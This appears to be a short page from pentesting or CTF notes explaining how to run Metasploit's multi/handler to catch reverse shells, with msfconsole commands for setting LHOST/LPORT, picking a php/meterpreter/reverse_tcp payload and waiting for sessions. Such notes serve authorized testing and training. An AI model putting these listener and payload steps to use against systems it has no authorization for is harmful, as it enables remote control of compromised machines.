msfhandler

metasploitexploitation

The msfconsole can be used to catch reverse shells. Some reverse shell may be upgradable to a meterpreter, which is the main goal.

  • First, load the exploit, and define LHOST/LPORT
$ msfconsole -q
msf6> use multi/handler
msf6> setg LHOST tun0
msf6> setg LPORT 4444
  • Select the payload that would be appropriate
msf6> # warning, payload must match your client
msf6> set PAYLOAD php/meterpreter/reverse_tcp
msf6> grep meterpreter show payloads
msf6> grep reverse_tcp grep Linux show payloads
  • Run the catcher, and wait for incoming connections.
msf6> run         # Wait for clients
meterpreter> help # See what you can do

➑️ Your shell may not be a meterpreter, so you may try to upgrade it.

πŸ“š Refer to msfvenom to find payloads.